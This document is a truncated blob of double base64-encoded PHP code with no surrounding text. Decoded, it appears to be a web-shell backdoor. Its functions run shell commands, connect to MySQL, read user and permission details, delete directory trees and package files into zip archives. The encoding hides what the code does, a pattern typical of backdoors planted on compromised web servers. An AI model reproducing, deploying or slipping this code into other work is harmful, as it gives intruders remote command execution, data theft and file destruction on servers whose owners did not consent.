WGRvYVd4bEtDRkFabVZ2Wmlna1ppa3BJSHNOQ2drSkNRa2tjbVZ6SUM0OUlFQm1jbVZoWkNna1ppd3hNREkwS1RzTkNna0pDWDBOQ2drSkNVQndZMnh2YzJVb0pHWXBPdzBLQ1FsOURRb0pmUTBLQ1hKbGRIVnliaUFrY21Wek93MEtmUTBLWm5WdVkzUnBiMjRnZDJocFkyZ29KSEJ5S1NCN0RRb0pKSEJoZEdnZ1BTQmxlR1ZqZFhSbEtDSjNhR2xqYUNBa2NISWlLVHNOQ2dseVpYUjFjbTRnS0NSd1lYUm9JRDhnSkhCaGRHZ2dPaUFrY0hJcE93MEtmUTBLRFFwbWRXNWpkR2x2YmlCalppZ2tabTVoYldVc0pIUmxlSFFwZXcwS0NXbG1LQ1JtY0QxQVptOXdaVzRvSkdadVlXMWxMQ2QzSnlrcElIc05DZ2tKUUdad2RYUnpLQ1JtY0N4QVltRnpaVFkwWDJSbFkyOWtaU2drZEdWNGRDa3BPdzBLQ1FsQVptTnNiM05sS0NSbWNDazdEUW9KZlEwS2ZRMEtEUW92THlCRVpXSjFadzBLWm5WdVkzUnBiMjRnWkdWaWRXZHBibVp2S0NrZ2V3MEtDV2RzYjJKaGJDQWtjM1JoY25SMGFXMWxPdzBLQ1NSdGRHbHRaU0E5SUdWNGNHeHZaR1VvSnlBbkxDQnRhV055YjNScGJXVW9LU2s3RFFvSkpIUnZkR0ZzZEdsdFpTQTlJRzUxYldKbGNsOW1iM0p0WVhRb0tDUnRkR2x0WlZzeFhTQXJJQ1J0ZEdsdFpWc3dYU0F0SUNSemRHRnlkSFJwYldVcExDQTJLVHNOQ2dsbFkyaHZJQ2RRY205alpYTnpaV1FnYVc0Z0p5NGtkRzkwWVd4MGFXMWxMaWNnYzJWamIyNWtLSE1wSnpzTkNuME5DZzBLTHk4Z1JuVnVZM1JwYjI0Z1kyOXVibVZqZENCa1lYUmhZbUZ6WlEwS1puVnVZM1JwYjI0Z1pHSmpiMjV1S0NSa1ltaHZjM1FzSkdSaWRYTmxjaXdrWkdKd1lYTnpMQ1JrWW01aGJXVTlKeWNzSkdOb1lYSnpaWFE5Snljc0pHUmljRzl5ZEQwbk16TXdOaWNwSUhzTkNnbHBaaWdoSkd4cGJtc2dQU0JBYlhsemNXeGZZMjl1Ym1WamRDZ2taR0pvYjNOMExpYzZKeTRrWkdKd2IzSjBMQ0FrWkdKMWMyVnlMQ0FrWkdKd1lYTnpLU2tnZXcwS0NRbHdLQ2M4YURJK1EyRnVJRzV2ZENCamIyNXVaV04wSUhSdklFMTVVMUZNSUhObGNuWmxjand2YURJK0p5azdEUW9KQ1dWNGFYUTdEUW9KZlEwS0NXbG1LQ1JzYVc1cklDWW1JQ1JrWW01aGJXVXBJSHNOQ2drSmFXWWdLQ0ZBYlhsemNXeGZjMlZzWldOMFgyUmlLQ1JrWW01aGJXVXNJQ1JzYVc1cktTa2dldzBLQ1FrSmNDZ25QR2d5UGtSaGRHRmlZWE5sSUhObGJHVmpkR1ZrSUdoaGN5Qmxjbkp2Y2p3dmFESStKeWs3RFFvSkNRbGxlR2wwT3cwS0NRbDlEUW9KZlEwS0NXbG1LQ1JzYVc1cklDWW1JRzE1YzNGc1gyZGxkRjl6WlhKMlpYSmZhVzVtYnlncElENGdKelF1TVNjcElIc05DZ2tKYVdZb2FXNWZZWEp5WVhrb2MzUnlkRzlzYjNkbGNpZ2tZMmhoY25ObGRDa3NJR0Z5Y21GNUtDZG5ZbXNuTENBblltbG5OU2NzSUNkMWRHWTRKeWtwS1NCN0RRb0pDUWx4S0NKVFJWUWdZMmhoY21GamRHVnlYM05sZEY5amIyNXVaV04wYVc5dVBTUmphR0Z5YzJWMExDQmphR0Z5WVdOMFpYSmZjMlYwWDNKbGMzVnNkSE05SkdOb1lYSnpaWFFzSUdOb1lYSmhZM1JsY2w5elpYUmZZMnhwWlc1MFBXSnBibUZ5ZVRzaUxDQWtiR2x1YXlrN0RRb0pDWDBOQ2dsOURRb0pjbVYwZFhKdUlDUnNhVzVyT3cwS2ZRMEtEUW92THlCQmNuSmhlU0J6ZEhKcGNBMEtablZ1WTNScGIyNGdjMTloY25KaGVTZ21KR0Z5Y21GNUtTQjdEUW9KYVdZZ0tHbHpYMkZ5Y21GNUtDUmhjbkpoZVNrcElIc05DZ2tKWm05eVpXRmphQ0FvSkdGeWNtRjVJR0Z6SUNScklEMCtJQ1IyS1NCN0RRb0pDUWtrWVhKeVlYbGJKR3RkSUQwZ2MxOWhjbkpoZVNna2RpazdEUW9KQ1gwTkNnbDlJR1ZzYzJVZ2FXWWdLR2x6WDNOMGNtbHVaeWdrWVhKeVlYa3BLU0I3RFFvSkNTUmhjbkpoZVNBOUlITjBjbWx3YzJ4aGMyaGxjeWdrWVhKeVlYa3BPdzBLQ1gwTkNnbHlaWFIxY200Z0pHRnljbUY1T3cwS2ZRMEtEUW92THlCSVZFMU1JRk4wY21sd0RRcG1kVzVqZEdsdmJpQm9kRzFzWDJOc1pXRnVLQ1JqYjI1MFpXNTBLU0I3RFFvSkpHTnZiblJsYm5RZ1BTQm9kRzFzYzNCbFkybGhiR05vWVhKektDUmpiMjUwWlc1MEtUc05DZ2trWTI5dWRHVnVkQ0E5SUhOMGNsOXlaWEJzWVdObEtDSmNiaUlzSUNJOFluSWdMejRpTENBa1kyOXVkR1Z1ZENrN0RRb0pKR052Ym5SbGJuUWdQU0J6ZEhKZmNtVndiR0ZqWlNnaUlDQWlMQ0FpSm01aWMzQTdKbTVpYzNBN0lpd2dKR052Ym5SbGJuUXBPdzBLQ1NSamIyNTBaVzUwSUQwZ2MzUnlYM0psY0d4aFkyVW9JbHgwSWl3Z0lpWnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3lJc0lDUmpiMjUwWlc1MEtUc05DZ2x5WlhSMWNtNGdKR052Ym5SbGJuUTdEUXA5RFFvTkNpOHZJRU5vYlc5a0RRcG1kVzVqZEdsdmJpQm5aWFJEYUcxdlpDZ2tabWxzWlhCaGRHZ3BldzBLQ1hKbGRIVnliaUJ6ZFdKemRISW9ZbUZ6WlY5amIyNTJaWEowS0VCbWFXeGxjR1Z5YlhNb0pHWnBiR1Z3WVhSb0tTd3hNQ3c0S1N3dE5DazdEUXA5RFFvTkNtWjFibU4wYVc5dUlHZGxkRkJsY20xektDUm1hV3hsY0dGMGFDa2dldzBLQ1NSdGIyUmxJRDBnUUdacGJHVndaWEp0Y3lna1ptbHNaWEJoZEdncE93MEtDV2xtSUNnb0pHMXZaR1VnSmlBd2VFTXdNREFwSUQwOVBTQXdlRU13TURBcElIc2tkSGx3WlNBOUlDZHpKenQ5RFFvSlpXeHpaV2xtSUNnb0pHMXZaR1VnSmlBd2VEUXdNREFwSUQwOVBTQXdlRFF3TURBcElIc2tkSGx3WlNBOUlDZGtKenQ5RFFvSlpXeHpaV2xtSUNnb0pHMXZaR1VnSmlBd2VFRXdNREFwSUQwOVBTQXdlRUV3TURBcElIc2tkSGx3WlNBOUlDZHNKenQ5RFFvSlpXeHpaV2xtSUNnb0pHMXZaR1VnSmlBd2VEZ3dNREFwSUQwOVBTQXdlRGd3TURBcElIc2tkSGx3WlNBOUlDY3RKenQ5RFFvSlpXeHpaV2xtSUNnb0pHMXZaR1VnSmlBd2VEWXdNREFwSUQwOVBTQXdlRFl3TURBcElIc2tkSGx3WlNBOUlDZGlKenQ5RFFvSlpXeHpaV2xtSUNnb0pHMXZaR1VnSmlBd2VESXdNREFwSUQwOVBTQXdlREl3TURBcElIc2tkSGx3WlNBOUlDZGpKenQ5RFFvSlpXeHpaV2xtSUNnb0pHMXZaR1VnSmlBd2VERXdNREFwSUQwOVBTQXdlREV3TURBcElIc2tkSGx3WlNBOUlDZHdKenQ5RFFvSlpXeHpaU0I3SkhSNWNHVWdQU0FuUHljN2ZRMEtEUW9KSkc5M2JtVnlXeWR5WldGa0oxMGdQU0FvSkcxdlpHVWdKaUF3TURRd01Da2dQeUFuY2ljZ09pQW5MU2M3RFFvSkpHOTNibVZ5V3lkM2NtbDBaU2RkSUQwZ0tDUnRiMlJsSUNZZ01EQXlNREFwSUQ4Z0ozY25JRG9nSnkwbk93MEtDU1J2ZDI1bGNsc25aWGhsWTNWMFpTZGRJRDBnS0NSdGIyUmxJQ1lnTURBeE1EQXBJRDhnSjNnbklEb2dKeTBuT3cwS0NTUm5jbTkxY0ZzbmNtVmhaQ2RkSUQwZ0tDUnRiMlJsSUNZZ01EQXdOREFwSUQ4Z0ozSW5JRG9nSnkwbk93MEtDU1JuY205MWNGc25kM0pwZEdVblhTQTlJQ2drYlc5a1pTQW1JREF3TURJd0tTQS9JQ2QzSnlBNklDY3RKenNOQ2dra1ozSnZkWEJiSjJWNFpXTjFkR1VuWFNBOUlDZ2tiVzlrWlNBbUlEQXdNREV3S1NBL0lDZDRKeUE2SUNjdEp6c05DZ2trZDI5eWJHUmJKM0psWVdRblhTQTlJQ2drYlc5a1pTQW1JREF3TURBMEtTQS9JQ2R5SnlBNklDY3RKenNOQ2dra2QyOXliR1JiSjNkeWFYUmxKMTBnUFNBb0pHMXZaR1VnSmlBd01EQXdNaWtnUHlBbmR5Y2dPaUFuTFNjN0RRb0pKSGR2Y214a1d5ZGxlR1ZqZFhSbEoxMGdQU0FvSkcxdlpHVWdKaUF3TURBd01Ta2dQeUFuZUNjZ09pQW5MU2M3RFFvTkNnbHBaaWdnSkcxdlpHVWdKaUF3ZURnd01DQXBJSHNrYjNkdVpYSmJKMlY0WldOMWRHVW5YU0E5SUNna2IzZHVaWEpiSjJWNFpXTjFkR1VuWFQwOUozZ25LU0EvSUNkekp5QTZJQ2RUSnp0OURRb0phV1lvSUNSdGIyUmxJQ1lnTUhnME1EQWdLU0I3SkdkeWIzVndXeWRsZUdWamRYUmxKMTBnUFNBb0pHZHliM1Z3V3lkbGVHVmpkWFJsSjEwOVBTZDRKeWtnUHlBbmN5Y2dPaUFuVXljN2ZRMEtDV2xtS0NBa2JXOWtaU0FtSURCNE1qQXdJQ2tnZXlSM2IzSnNaRnNuWlhobFkzVjBaU2RkSUQwZ0tDUjNiM0pzWkZzblpYaGxZM1YwWlNkZFBUMG5lQ2NwSUQ4Z0ozUW5JRG9nSjFRbk8zME5DZzBLQ1hKbGRIVnliaUFrZEhsd1pTNGtiM2R1WlhKYkozSmxZV1FuWFM0a2IzZHVaWEpiSjNkeWFYUmxKMTB1Skc5M2JtVnlXeWRsZUdWamRYUmxKMTB1SkdkeWIzVndXeWR5WldGa0oxMHVKR2R5YjNWd1d5ZDNjbWwwWlNkZExpUm5jbTkxY0ZzblpYaGxZM1YwWlNkZExpUjNiM0pzWkZzbmNtVmhaQ2RkTGlSM2IzSnNaRnNuZDNKcGRHVW5YUzRrZDI5eWJHUmJKMlY0WldOMWRHVW5YVHNOQ24wTkNnMEtablZ1WTNScGIyNGdaMlYwVlhObGNpZ2tabWxzWlhCaGRHZ3BDWHNOQ2dscFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDZHdiM05wZUY5blpYUndkM1ZwWkNjcEtTQjdEUW9KQ1NSaGNuSmhlU0E5SUVCd2IzTnBlRjluWlhSd2QzVnBaQ2hBWm1sc1pXOTNibVZ5S0NSbWFXeGxjR0YwYUNrcE93MEtDUWxwWmlBb0pHRnljbUY1SUNZbUlHbHpYMkZ5Y21GNUtDUmhjbkpoZVNrcElIc05DZ2tKQ1hKbGRIVnliaUFuSUM4Z1BHRWdhSEpsWmowaUl5SWdkR2wwYkdVOUlsVnpaWEk2SUNjdUpHRnljbUY1V3lkdVlXMWxKMTB1SnlZak1UTW1JekV3VUdGemMzZGtPaUFuTGlSaGNuSmhlVnNuY0dGemMzZGtKMTB1SnlZak1UTW1JekV3Vldsa09pQW5MaVJoY25KaGVWc25kV2xrSjEwdUp5WWpNVE1tSXpFd1oybGtPaUFuTGlSaGNuSmhlVnNuWjJsa0oxMHVKeVlqTVRNbUl6RXdSMlZqYjNNNklDY3VKR0Z5Y21GNVd5ZG5aV052Y3lkZExpY21JekV6SmlNeE1FUnBjam9nSnk0a1lYSnlZWGxiSjJScGNpZGRMaWNtSXpFekppTXhNRk5vWld4c09pQW5MaVJoY25KaGVWc25jMmhsYkd3blhTNG5JajRuTGlSaGNuSmhlVnNuYm1GdFpTZGRMaWM4TDJFK0p6c05DZ2tKZlEwS0NYME5DZ2x5WlhSMWNtNGdKeWM3RFFwOURRb05DaTh2SUVSbGJHVjBaU0JrYVhJTkNtWjFibU4wYVc5dUlHUmxiSFJ5WldVb0pHUmxiR1JwY2lrZ2V3MEtDU1J0ZVdScGNqMUFaR2x5S0NSa1pXeGthWElwT3cwS0NYZG9hV3hsS0NSbWFXeGxQU1J0ZVdScGNpMCtjbVZoWkNncEtRbDdEUW9KQ1dsbUtDaHBjMTlrYVhJb0pHUmxiR1JwY2k0bkx5Y3VKR1pwYkdVcEtTQW1KaUFvSkdacGJHVWhQU2N1SnlrZ0ppWWdLQ1JtYVd4bElUMG5MaTRuS1NrZ2V3MEtDUWtKUUdOb2JXOWtLQ1JrWld4a2FYSXVKeThuTGlSbWFXeGxMREEzTnpjcE93MEtDUWtKWkdWc2RISmxaU2drWkdWc1pHbHlMaWN2Snk0a1ptbHNaU2s3RFFvSkNYME5DZ2tKYVdZZ0tHbHpYMlpwYkdVb0pHUmxiR1JwY2k0bkx5Y3VKR1pwYkdVcEtTQjdEUW9KQ1FsQVkyaHRiMlFvSkdSbGJHUnBjaTRuTHljdUpHWnBiR1VzTURjM055azdEUW9KQ1FsQWRXNXNhVzVyS0NSa1pXeGthWEl1Snk4bkxpUm1hV3hsS1RzTkNna0pmUTBLQ1gwTkNna2tiWGxrYVhJdFBtTnNiM05sS0NrN0RRb0pRR05vYlc5a0tDUmtaV3hrYVhJc01EYzNOeWs3RFFvSmNtVjBkWEp1SUVCeWJXUnBjaWdrWkdWc1pHbHlLU0EvSURFZ09pQXdPdzBLZlEwS0RRb3ZMeUJDWVdOclozSnZkVzVrRFFwbWRXNWpkR2x2YmlCaVp5Z3BJSHNOQ2dsbmJHOWlZV3dnSkdKbll6c05DZ2x5WlhSMWNtNGdLQ1JpWjJNckt5VXlQVDB3S1NBL0lDZGhiSFF4SnlBNklDZGhiSFF5SnpzTkNuME5DZzBLTHk4Z1IyVjBJSEJoZEdnTkNtWjFibU4wYVc5dUlHZGxkRkJoZEdnb0pITmpjbWx3ZEhCaGRHZ3NJQ1J1YjNkd1lYUm9LU0I3RFFvSmFXWWdLQ1J1YjNkd1lYUm9JRDA5SUNjdUp5a2dldzBLQ1Fra2JtOTNjR0YwYUNBOUlDUnpZM0pwY0hSd1lYUm9PdzBLQ1gwTkNna2tibTkzY0dGMGFDQTlJSE4wY2w5eVpYQnNZV05sS0NkY1hDY3NJQ2N2Snl3Z0pHNXZkM0JoZEdncE93MEtDU1J1YjNkd1lYUm9JRDBnYzNSeVgzSmxjR3hoWTJVb0p5OHZKeXdnSnk4bkxDQWtibTkzY0dGMGFDazdEUW9KYVdZZ0tITjFZbk4wY2lna2JtOTNjR0YwYUN3Z0xURXBJQ0U5SUNjdkp5a2dldzBLQ1Fra2JtOTNjR0YwYUNBOUlDUnViM2R3WVhSb0xpY3ZKenNOQ2dsOURRb0pjbVYwZFhKdUlDUnViM2R3WVhSb093MEtmUTBLRFFvdkx5QkhaWFFnZFhBZ2NHRjBhQTBLWm5WdVkzUnBiMjRnWjJWMFZYQlFZWFJvS0NSdWIzZHdZWFJvS1NCN0RRb0pKSEJoZEdoa1lpQTlJR1Y0Y0d4dlpHVW9KeThuTENBa2JtOTNjR0YwYUNrN0RRb0pKRzUxYlNBOUlHTnZkVzUwS0NSd1lYUm9aR0lwT3cwS0NXbG1JQ2drYm5WdElENGdNaWtnZXcwS0NRbDFibk5sZENna2NHRjBhR1JpV3lSdWRXMHRNVjBzSkhCaGRHaGtZbHNrYm5WdExUSmRLVHNOQ2dsOURRb0pKSFZ3Y0dGMGFDQTlJR2x0Y0d4dlpHVW9KeThuTENBa2NHRjBhR1JpS1M0bkx5YzdEUW9KSkhWd2NHRjBhQ0E5SUhOMGNsOXlaWEJzWVdObEtDY3ZMeWNzSUNjdkp5d2dKSFZ3Y0dGMGFDazdEUW9KY21WMGRYSnVJQ1IxY0hCaGRHZzdEUXA5RFFvTkNpOHZJRU52Ym1acFp3MEtablZ1WTNScGIyNGdaMlYwWTJabktDUjJZWEp1WVcxbEtTQjdEUW9KSkhKbGMzVnNkQ0E5SUdkbGRGOWpabWRmZG1GeUtDUjJZWEp1WVcxbEtUc05DZ2xwWmlBb0pISmxjM1ZzZENBOVBTQXdLU0I3RFFvSkNYSmxkSFZ5YmlBblRtOG5PdzBLQ1gwZ1pXeHpaV2xtSUNna2NtVnpkV3gwSUQwOUlERXBJSHNOQ2drSmNtVjBkWEp1SUNkWlpYTW5PdzBLQ1gwZ1pXeHpaU0I3RFFvSkNYSmxkSFZ5YmlBa2NtVnpkV3gwT3cwS0NYME5DbjBOQ2cwS0x5OGdSblZ1WTNScGIyNGdibUZ0WlEwS1puVnVZM1JwYjI0Z1oyVjBablZ1S0NSbWRXNU9ZVzFsS1NCN0RRb0pjbVYwZFhKdUlDaG1ZV3h6WlNBaFBUMGdablZ1WTNScGIyNWZaWGhwYzNSektDUm1kVzVPWVcxbEtTa2dQeUFuV1dWekp5QTZJQ2RPYnljN0RRcDlEUW9OQ21aMWJtTjBhVzl1SUVkbGRFeHBjM1FvSkdScGNpbDdEUW9KWjJ4dlltRnNJQ1JrYVhKa1lYUmhMQ1JxTENSdWIzZHdZWFJvT3cwS0NTRWthaUFtSmlBa2FqMHhPdzBLQ1dsbUlDZ2taR2dnUFNCdmNHVnVaR2x5S0NSa2FYSXBLU0I3RFFvSkNYZG9hV3hsSUNna1ptbHNaU0E5SUhKbFlXUmthWElvSkdSb0tTa2dldzBLQ1FrSkpHWTljM1J5WDNKbGNHeGhZMlVvSnk4dkp5d25MeWNzSkdScGNpNG5MeWN1SkdacGJHVXBPdzBLQ1FrSmFXWW9KR1pwYkdVaFBTY3VKeUFtSmlBa1ptbHNaU0U5Snk0dUp5QW1KaUJwYzE5a2FYSW9KR1lwS1hzTkNna0pDUWxwWmlBb2FYTmZkM0pwZEdGaWJHVW9KR1lwS1NCN0RRb0pDUWtKQ1NSa2FYSmtZWFJoV3lScVhWc25abWxzWlc1aGJXVW5YVDF6ZEhKZmNtVndiR0ZqWlNna2JtOTNjR0YwYUN3bkp5d2taaWs3RFFvSkNRa0pDU1JrYVhKa1lYUmhXeVJxWFZzbmJYUnBiV1VuWFQxQVpHRjBaU2duV1MxdExXUWdTRHBwT25NbkxHWnBiR1Z0ZEdsdFpTZ2taaWtwT3cwS0NRa0pDUWtrWkdseVpHRjBZVnNrYWwxYkoyUnBjbU5vYlc5a0oxMDlaMlYwUTJodGIyUW9KR1lwT3cwS0NRa0pDUWtrWkdseVpHRjBZVnNrYWwxYkoyUnBjbkJsY20wblhUMW5aWFJRWlhKdGN5Z2taaWs3RFFvSkNRa0pDU1JrYVhKa1lYUmhXeVJxWFZzblpHbHliR2x1YXlkZFBYVmxLQ1JrYVhJcE93MEtDUWtKQ1Fra1pHbHlaR0YwWVZza2FsMWJKM05sY25abGNsOXNhVzVySjEwOUpHWTdEUW9KQ1FrSkNTUmthWEprWVhSaFd5UnFYVnNuWTJ4cFpXNTBYMnhwYm1zblhUMTFaU2drWmlrN0RRb0pDUWtKQ1NScUt5czdEUW9KQ1FrSmZRMEtDUWtKQ1VkbGRFeHBjM1FvSkdZcE93MEtDUWtKZlEwS0NRbDlEUW9KQ1dOc2IzTmxaR2x5S0NSa2FDazdEUW9KQ1dOc1pXRnljM1JoZEdOaFkyaGxLQ2s3RFFvSkNYSmxkSFZ5YmlBa1pHbHlaR0YwWVRzTkNnbDlJR1ZzYzJVZ2V3MEtDUWx5WlhSMWNtNGdZWEp5WVhrb0tUc05DZ2w5RFFwOURRb05DbVoxYm1OMGFXOXVJSEY1S0NSemNXd3BJSHNOQ2drdkwyVmphRzhnSkhOeGJDNG5QR0p5UGljN0RRb0pKSEpsY3lBOUlDUmxjbkp2Y2lBOUlDY25PdzBLQ1dsbUtDRWtjbVZ6SUQwZ1FHMTVjM0ZzWDNGMVpYSjVLQ1J6Y1d3cEtTQjdEUW9KQ1hKbGRIVnliaUF3T3cwS0NYMGdaV3h6WlNCcFppaHBjMTl5WlhOdmRYSmpaU2drY21WektTa2dldzBLQ1FseVpYUjFjbTRnTVRzTkNnbDlJR1ZzYzJVZ2V3MEtDUWx5WlhSMWNtNGdNanNOQ2dsOURRb0pjbVYwZFhKdUlEQTdEUXA5RFFvTkNtWjFibU4wYVc5dUlIRW9KSE54YkNrZ2V3MEtDWEpsZEhWeWJpQkFiWGx6Y1d4ZmNYVmxjbmtvSkhOeGJDazdEUXA5RFFvTkNtWjFibU4wYVc5dUlHWnlLQ1J4ZVNsN0RRb0piWGx6Y1d4ZlpuSmxaVjl5WlhOMWJIUW9KSEY1S1RzTkNuME5DZzBLWm5WdVkzUnBiMjRnYzJsNlpXTnZkVzUwS0NSemFYcGxLU0I3RFFvSmFXWW9KSE5wZW1VZ1BpQXhNRGN6TnpReE9ESTBLU0I3RFFvSkNTUnphWHBsSUQwZ2NtOTFibVFvSkhOcGVtVWdMeUF4TURjek56UXhPREkwSUNvZ01UQXdLU0F2SURFd01DQXVJQ2NnUnljN0RRb0pmU0JsYkhObGFXWW9KSE5wZW1VZ1BpQXhNRFE0TlRjMktTQjdEUW9KQ1NSemFYcGxJRDBnY205MWJtUW9KSE5wZW1VZ0x5QXhNRFE0TlRjMklDb2dNVEF3S1NBdklERXdNQ0F1SUNjZ1RTYzdEUW9KZlNCbGJITmxhV1lvSkhOcGVtVWdQaUF4TURJMEtTQjdEUW9KQ1NSemFYcGxJRDBnY205MWJtUW9KSE5wZW1VZ0x5QXhNREkwSUNvZ01UQXdLU0F2SURFd01DQXVJQ2NnU3ljN0RRb0pmU0JsYkhObElIc05DZ2tKSkhOcGVtVWdQU0FrYzJsNlpTQXVJQ2NnUWljN0RRb0pmUTBLQ1hKbGRIVnliaUFrYzJsNlpUc05DbjBOQ2cwS0x5OGdXbWx3RFFwamJHRnpjeUJRU0ZCYWFYQjdEUW9KZG1GeUlDUnZkWFE5SnljN0RRb0pablZ1WTNScGIyNGdVRWhRV21sd0tDUmthWElwQ1hzTkNna0phV1lnS0VCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJkNlkyOXRjSEpsYzNNbktTa0pldzBLQ1FrSkpHTjFjbVJwY2lBOUlHZGxkR04zWkNncE93MEtDUWtKYVdZZ0tHbHpYMkZ5Y21GNUtDUmthWElwS1NBa1ptbHNaV3hwYzNRZ1BTQWtaR2x5T3cwS0NRa0paV3h6WlhzTkNna0pDUWtrWm1sc1pXeHBjM1E5SkhSb2FYTWdMVDRnUjJWMFJtbHNaVXhwYzNRb0pHUnBjaWs3THk5R2FXeGxJR3hwYzNRTkNna0pDUWxtYjNKbFlXTm9LQ1JtYVd4bGJHbHpkQ0JoY3lBa2F6MCtKSFlwSUNSbWFXeGxiR2x6ZEZ0ZFBYTjFZbk4wY2lna2RpeHpkSEpzWlc0b0pHUnBjaWtyTVNrN0RRb0pDUWw5RFFvSkNRbHBaaUFvS0NGbGJYQjBlU2drWkdseUtTa21KaWdoYVhOZllYSnlZWGtvSkdScGNpa3BKaVlvWm1sc1pWOWxlR2x6ZEhNb0pHUnBjaWtwS1NCamFHUnBjaWdrWkdseUtUc05DZ2tKQ1dWc2MyVWdZMmhrYVhJb0pHTjFjbVJwY2lrN0RRb0pDUWxwWmlBb1kyOTFiblFvSkdacGJHVnNhWE4wS1Q0d0tYc05DZ2tKQ1FsbWIzSmxZV05vS0NSbWFXeGxiR2x6ZENCaGN5QWtabWxzWlc1aGJXVXBldzBLQ1FrSkNRbHBaaUFvYVhOZlptbHNaU2drWm1sc1pXNWhiV1VwS1hzTkNna0pDUWtKQ1NSbVpDQTlJR1p2Y0dWdUlDZ2tabWxzWlc1aGJXVXNJQ2R5SnlrN0RRb0pDUWtKQ1Fra1kyOXVkR1Z1ZENBOUlFQm1jbVZoWkNBb0pHWmtMQ0JtYVd4bGMybDZaU2drWm1sc1pXNWhiV1VwS1RzTkNna0pDUWtKQ1daamJHOXpaU0FvSkdaa0tUc05DZ2tKQ1FrSkNXbG1JQ2hwYzE5aGNuSmhlU2drWkdseUtTa2dKR1pwYkdWdVlXMWxJRDBnWW1GelpXNWhiV1VvSkdacGJHVnVZVzFsS1RzTkNna0pDUWtKQ1NSMGFHbHpJQzArSUdGa1pFWnBiR1VvSkdOdmJuUmxiblFzSUNSbWFXeGxibUZ0WlNrN0RRb0pDUWtKQ1gwTkNna0pDUWw5RFFvSkNRa0pKSFJvYVhNdFBtOTFkQ0E5SUNSMGFHbHpJQzArSUdacGJHVW9LVHNOQ2drSkNRbGphR1JwY2lna1kzVnlaR2x5S1RzTkNna0pDWDBOQ2drSkNYSmxkSFZ5YmlBeE93MEtDUWw5RFFvSkNXVnNjMlVnY21WMGRYSnVJREE3RFFvSmZRMEtEUW9KTHk4Z1UyaHZkeUJtYVd4bElHeHBjM1FOQ2dsbWRXNWpkR2x2YmlCSFpYUkdhV3hsVEdsemRDZ2taR2x5S1hzTkNna0pjM1JoZEdsaklDUmhPdzBLQ1FscFppQW9hWE5mWkdseUtDUmthWElwS1NCN0RRb0pDUWxwWmlBb0pHUm9JRDBnYjNCbGJtUnBjaWdrWkdseUtTa2dldzBLQ1FrSkNYZG9hV3hsSUNna1ptbHNaU0E5SUhKbFlXUmthWElvSkdSb0tTa2dldzBLQ1FrSkNRbHBaaWdrWm1sc1pTRTlKeTRuSUNZbUlDUm1hV3hsSVQwbkxpNG5LWHNOQ2drSkNRa0pDU1JtUFNSa2FYSWdMaWN2Snk0Z0pHWnBiR1U3RFFvSkNRa0pDUWxwWmlocGMxOWthWElvSkdZcEtTQWtkR2hwY3kwK1IyVjBSbWxzWlV4cGMzUW9KR1lwT3cwS0NRa0pDUWtKSkdGYlhUMGtaanNOQ2drSkNRa0pmUTBLQ1FrSkNYME5DZ2tKQ1FsamJHOXpaV1JwY2lna1pHZ3BPdzBLQ1FrSmZRMEtDUWw5RFFvSkNYSmxkSFZ5YmlBa1lUc05DZ2w5RFFvTkNnbDJZWElnSkdSaGRHRnpaV01nSUNBZ0lDQTlJR0Z5Y21GNUtDazdEUW9KZG1GeUlDUmpkSEpzWDJScGNpQWdJQ0FnUFNCaGNuSmhlU2dwT3cwS0NYWmhjaUFrWlc5bVgyTjBjbXhmWkdseUlEMGdJbHg0TlRCY2VEUmlYSGd3TlZ4NE1EWmNlREF3WEhnd01GeDRNREJjZURBd0lqc05DZ2wyWVhJZ0pHOXNaRjl2Wm1aelpYUWdJQ0E5SURBN0RRb05DZ2xtZFc1amRHbHZiaUIxYm1sNE1rUnZjMVJwYldVb0pIVnVhWGgwYVcxbElEMGdNQ2tnZXcwS0NRa2tkR2x0WldGeWNtRjVJRDBnS0NSMWJtbDRkR2x0WlNBOVBTQXdLU0EvSUdkbGRHUmhkR1VvS1NBNklHZGxkR1JoZEdVb0pIVnVhWGgwYVcxbEtUc05DZ2tKYVdZZ0tDUjBhVzFsWVhKeVlYbGJKM2xsWVhJblhTQThJREU1T0RBcElIc05DZ2tKQ1NSMGFXMWxZWEp5WVhsYkozbGxZWEluWFNBZ0lDQTlJREU1T0RBN0RRb0pDUWtrZEdsdFpXRnljbUY1V3lkdGIyNG5YU0FnSUNBZ1BTQXhPdzBLQ1FrSkpIUnBiV1ZoY25KaGVWc25iV1JoZVNkZElDQWdJRDBnTVRzTkNna0pDU1IwYVcxbFlYSnlZWGxiSjJodmRYSnpKMTBnSUNBOUlEQTdEUW9KQ1Fra2RHbHRaV0Z5Y21GNVd5ZHRhVzUxZEdWekoxMGdQU0F3T3cwS0NRa0pKSFJwYldWaGNuSmhlVnNuYzJWamIyNWtjeWRkSUQwZ01Ec05DZ2tKZlNBdkx5QmxibVFnYVdZTkNna0pjbVYwZFhKdUlDZ29KSFJwYldWaGNuSmhlVnNuZVdWaGNpZGRJQzBnTVRrNE1Da2dQRHdnTWpVcElId2dLQ1IwYVcxbFlYSnlZWGxiSjIxdmJpZGRJRHc4SURJeEtTQjhJQ2drZEdsdFpXRnljbUY1V3lkdFpHRjVKMTBnUER3Z01UWXBJSHdOQ2drSkNRa29KSFJwYldWaGNuSmhlVnNuYUc5MWNuTW5YU0E4UENBeE1Ta2dmQ0FvSkhScGJXVmhjbkpoZVZzbmJXbHVkWFJsY3lkZElEdzhJRFVwSUh3Z0tDUjBhVzFsWVhKeVlYbGJKM05sWTI5dVpITW5YU0ErUGlBeEtUc05DZ2w5RFFvTkNnbG1kVzVqZEdsdmJpQmhaR1JHYVd4bEtDUmtZWFJoTENBa2JtRnRaU3dnSkhScGJXVWdQU0F3S1NCN0RRb0pDU1J1WVcxbElEMGdjM1J5WDNKbGNHeGhZMlVvSjF4Y0p5d2dKeThuTENBa2JtRnRaU2s3RFFvTkNna0pKR1IwYVcxbElEMGdaR1ZqYUdWNEtDUjBhR2x6TFQ1MWJtbDRNa1J2YzFScGJXVW9KSFJwYldVcEtUc05DZ2tKSkdobGVHUjBhVzFsQ1QwZ0oxeDRKeUF1SUNSa2RHbHRaVnMyWFNBdUlDUmtkR2x0WlZzM1hRMEtDUWtKQ1FrdUlDZGNlQ2NnTGlBa1pIUnBiV1ZiTkYwZ0xpQWtaSFJwYldWYk5WME5DZ2tKQ1FrSkxpQW5YSGduSUM0Z0pHUjBhVzFsV3pKZElDNGdKR1IwYVcxbFd6TmREUW9KQ1FrSkNTNGdKMXg0SnlBdUlDUmtkR2x0WlZzd1hTQXVJQ1J